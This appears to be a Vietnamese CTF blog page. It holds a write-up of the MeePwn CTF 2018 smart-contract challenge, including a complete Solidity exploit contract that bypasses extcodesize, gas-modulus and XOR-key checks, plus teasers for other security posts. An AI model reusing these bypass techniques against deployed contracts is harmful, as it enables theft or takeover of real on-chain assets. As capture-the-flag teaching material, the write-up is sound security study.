MEEPWN CTF 2018 - meepwn contract

https://scoreboard.meepwn.team/task

Source code của "gate":

pragma solidity ^0.4.18;

contract Meepwn_Wire
{
    address public entrant;
    
    constructor()
    {
        entrant = msg.sender;
    }
    
    function isAccountAddress(address addr) private returns(bool)
    {
        uint x;
        assembly { x := extcodesize(caller) }
        return x == 0;
    }
    
    function exploitMe(bytes8 _key)
    {
        require(msg.sender != tx.origin);
        require(isAccountAddress(msg.sender));
        require(msg.gas % 1337 == 0);
        require(uint64(_key) ^ uint64(sha3(msg.sender)) ^ uint64(sha3(address(this))) == 0x13371337);
        
        entrant = tx.origin;
    }
}

Interface của contract chính:

pragma solidity ^0.4.18;

contract MeePwnMain {

  function getNewInstance() public payable returns(address) {}
  function submitInstance(string email) public returns(bytes32) {}
}

sau khi truy cập đến http://178.128.87.12/smart-contract những việc bạn cần làm như sau (hiện site đã không truy cập được nữa, mình xin phép tóm tắt lại theo...kí ức của mình 😄)

  • Sẽ có một contract chính tại địa chỉ 0x3da169ad88c8f419b57e181fe971b33993dfdc81 được deploy trên Testnet Ropsten
  • Bạn sẽ gọi hàm getNewInstance chuyển 0.1 ETH vào địa chỉ này, contract chính sẽ deploy contract Meepwn_Wire ở trên và gán entrant = msg.sender tức là địa chỉ của contract chính.
  • Nhiệm vụ của bạn làm thế nào đó, dùng hàm exploitMe, vượt qua tất cả các "gate", set lại biến entrant thành địa chỉ của mình (pwned !)
  • Sau đó gọi hàm submitInstance kèm với email của mình để chứng minh mình đã làm được, để hệ thống gửi flag về email mà bạn submit.

Về cơ bản, mô hình này khá giống với Ethernaut cụ thể hơn thì bạn có thể tham khảo thêm các bài write-up của anh @kiendinang trên Viblo, với nhiều cấp độ từ dễ đến khó.

Walk Through

Mình xin tóm tắt các bước để vượt qua các gate như sau:

Gate 1

require(msg.sender != tx.origin); : Trong Solidity thì msg.sender là thứ/người trực tiếp gọi hàm của contract, còn tx.origin là người tạo ra transaction. Do vậy tx.origin sẽ luôn là người dùng, còn msg.sender thì có thể là người dùng hoặc là một contract khác. Do vậy ta có mô hình sau:

A (người dùng) -> B (exploit contract) -> C (Meepwn_Wire contract)

Với mô hình này sẽ đảm bảo được msg.sender != tx.origin

Gate 2

require(isAccountAddress(msg.sender)); : Gate này đúng như tên hàm, kiểm tra xem địa chỉ đang tương tác với contract, có phải là người dùng không hay là một contract khác ? và Meepwn_Wire yêu cầu msg.sender phải là một account người dùng thông qua việc kiểm tra storage của account có chứa code hay không bằng đoạn assembly (nếu địa chỉ là người dùng thì sẽ codesize == 0, và ngược lại nếu đó là một contract khác)

assembly { x := extcodesize(caller) }

Nếu vậy, trick chúng ta dùng ở bước 1 sẽ fail ? Tuy nhiên, có một thời điểm mà codesize của một contract bằng 0, đó chính là thời điểm mà contract được deploy (nói cách khác, khi đang chạy contructor của contract), như được note trong yellow paper của Ethereum. Vậy để pass qua gate này, ta cần thực hiện exploit trong contructor của contract. Đến đây ta có thể xây dựng được contract tạm thời dùng để exploit như sau:

contract HackMeepwn_Wire {
    
    address public target = 0x9a6210545c23d287496c518564b3db5f3efb2918;
    
    constructor()
    {
        Meepwn_Wire t = Meepwn_Wire(target);
        t.exploitMe(????);
    }
}

với target là địa chỉ của contract Meepwn_Wire mà contract chính đã deploy. Để biết được địa chỉ này, bạn có thể tìm đến transaction getNewInstance trên https://ropsten.etherscan.io/ và kiểm tra tab Internal Transactions.

Gate 3

require(msg.gas % 1337 == 0); : Gate này yêu cầu số gas còn lại (msg.gas) tại thời điểm thực hiện kiểm tra phải chia hết cho 1337. Để thực hiện điều này, ta có thể gọi hàm exploitMe theo cách sau:

t.exploitMe.gas(xxx)(????)

với xxx là số gas dùng để chạy hàm exploitMe. Như vậy chúng ta sẽ control được số gas truyền vào. Vậy truyền vào bao nhiêu gas để thoả mãn ? Mình sẽ làm theo cách thử saim truyền vào 1 số gas tuỳ ý, và kiểm tra instruction trên Remix.

contract HackMeepwn_Wire {
    
    address public target = 0x9a6210545c23d287496c518564b3db5f3efb2918;
    
    constructor()
    {
        Meepwn_Wire t = Meepwn_Wire(target);
        t.exploitMe.gas(98000)(0x41414141);
    }
}

Ví dụ chạy với gas 98000, chắc chắn transaction sẽ fail, bằng sử dụng môi trường Javascript VM trên Remix sẽ cho phép chúng ta debug:

Click Debug, mở phần Instructions và Stack và step qua từng instruction cho đến đoạn kiểm tra số gas:

IP hiện đang ở 363, ngay sau khi chúng ta chạy xong GAS, top stack lúc này sẽ chính là số gas còn lại: 0x17abc = 96956 (tại ngăn tiếp theo chính là giá trị 0x539 = 1337). Vậy ta sẽ có gas thoả mãn là:

98000 - 96956 % 1337 = 97308

Note: Để đảm bảo debug đúng thì version compiler và thiết lập optimize của bạn và đề bài phải giống nhau, rất may, đều đang là version soljson-v0.4.24+commit.e67f0147.js 😄, cơ mà nếu có sai thì cũng sai khác nhau không quá 100 gas, chúng ta có thể brute-force được 😆

Gate 4

require(uint64(_key) ^ uint64(sha3(msg.sender)) ^ uint64(sha3(address(this))) == 0x13371337); : gate này là khá đơn giản (tuy nhiên trong thời gian thi BTC đã không may đeploy nhầm source code đoạn này khiến các đội thi tốn cỡ "1 tiếng" tìm cách brute-force 8 bytes sha3 (nếu thực sự có team định làm vậy 😅)), đây là phép XOR và chúng ta làm lại như sau:

_key = bytes8(uint64(sha3(this)) ^ uint64(sha3(address(target))) ^ 0x13371337)

this ở đây sẽ cho ra địa chỉ contract exploit của chúng ta.

Full Exploit

(Test thử trên Remix trước cho chắc ăn rồi hãy submit nhé)

contract HackMeepwn_Wire {
    
    address public target = 0x9a6210545c23d287496c518564b3db5f3efb2918;
    
    constructor()
    {
        Meepwn_Wire t = Meepwn_Wire(target);
        t.exploitMe.gas(97308)(bytes8(uint64(sha3(this)) ^ uint64(sha3(address(target))) ^ 0x13371337));
    }
}

Việc còn lại là thực hiện submitInstance và chờ mail flag về:

References

MEEPWN CTF 2018 - XSS

Lúc đầu nhìn tên bài mình cứ nghĩ là dạng binary .Net chứa mấy đề XSS giống ở SECCON, nên còn không buồn đọc đề. Đến lúc làm thì thấy là cũng liên quan thật.

File binary khi được chạy sẽ fork thêm 1 process nữa, rồi process mới này lại fork một process khác, tổng là 3 process. Mỗi process này sẽ dựa theo số lượng tham số truyền vào để xử lý theo nhánh riêng của nó (process đầu không có tham số, process thứ hai có 1 tham số là 1, process thứ ba có 2 tham số là 1 và 2). Mình debug bằng cách attach 3 cửa sổ IDA vào lần lượt 3 process. Continue reading MEEPWN CTF 2018 - XSS

What is SafeFinder/OperatorMac campaign?

 

A new variant of adware was just discovered yesterday. It’s going viral on Twitter and other media, since they use valid Apple developer certificate to sign all packed samples. I’m quite overbusy these days but it got my interest when seeing the name stated in that certificate: “Quoc Thinh”, quite a unique Vietnamese name. So why not take a break from desperate thesis, toss adware in my lame automated MacOS analysis framework and see what our ‘countryman’ doing?

Continue reading What is SafeFinder/OperatorMac campaign?

ASISCTF 2017 - Web - Secure portal [1,2,3]

Hey yo!

Long time no C++
Có chút vấn đề khi mình viết writeup cho bài này đó là phần lầy flag có vẻ không hoạt động 🙁 nên hiện tại mình chỉ có thể viết được phần 1.

Okie, link

Có gợi ý như sau By the way I know it's dangerous to code with IDE in server-side but I really obey security instructions.

Vào trang web và lưu lại các request & response bằng Burpsuite Proxy

Continue reading ASISCTF 2017 - Web - Secure portal [1,2,3]

Whitehat Contest 12 - Pwn400

Líp vẫn nhớ và yêu Híp nhiều lắm ...

Chiến đấu bên những người anh em luôn làm tôi cảm thấy thoải mái và phấn khích. Đợt contest này cả đội đã có 1 ngày không ngủ, cũng gần như không ăn, chỉ dùng lon bò húc để cầm hơi. Cả đội đã rất nỗ lực và hy vọng tràn trề khi lúc đầu liên tục tranh giành top 1 với kỳ phùng địch thủ. Cho đến giữa đêm, do thiếu một chút may mắn ( tôi thì không nghĩ vậy, đêm là khoảng thời gian tôi hay rơi vào trạng thái không ổn định pudency ) mà mọi người mất dần ý chí chiến đấu, nhìn đội khác vươn lên. Có lẽ nếu như tôi dành được 400 điểm từ bài này thì mọi chuyện đã khác. Nhưng dù sao "có lẽ" vẫn chỉ là 1 từ người ta dùng để biện hộ cho lỗi lầm của mình mà thôi.
Continue reading Whitehat Contest 12 - Pwn400

An toàn tính toán đa thành viên

Multi-Party Computation (MPC) là một khái niệm được các nhà mật mã học đắn đo nghiên cứu tận những thập niên 80 thế kỷ trước. Xuất phát tự nhiên từ những bài toán học búa trong cuộc sống phải đặt ra một giao thức hay ho hơn để đánh đố nhau. Ví dụ năm 1982 đó là bài toán triệu phú của anh Yao (1982 Andrew Yao  1), diễn Nôm đơn giản là anh Bin có số A tiền, còn anh Job có số B tiền. Hai anh trong một cuộc nhậu lỡ thách nhau xem ai có nhiều tiền hơn ai surrender. Nhưng hai anh đều không muốn lộ ra tổng số tiền mình có cho nhau biết. Do đó mới nảy sinh bài toàn chứng minh bất đẳng thức A ≥ B mà không lộ thông tin nào của A và B cho bất cứ ai, kể cả 2 anh Bin và anh Jobs. Giải quyết xong bài toàn này đã mở ra một kỷ nguyên mới cho bảo mật thông tin đặc biệt là thương mai điện tử, data mining khi muốn so sánh các giá trị, tính toán cộng trừ nhân chia mà vẫn bảo vệ được thông tin mật như số tiền, tổng tiền trong tài khoản khách hàng, thông tin nhân khẩu học v.v.

Continue reading An toàn tính toán đa thành viên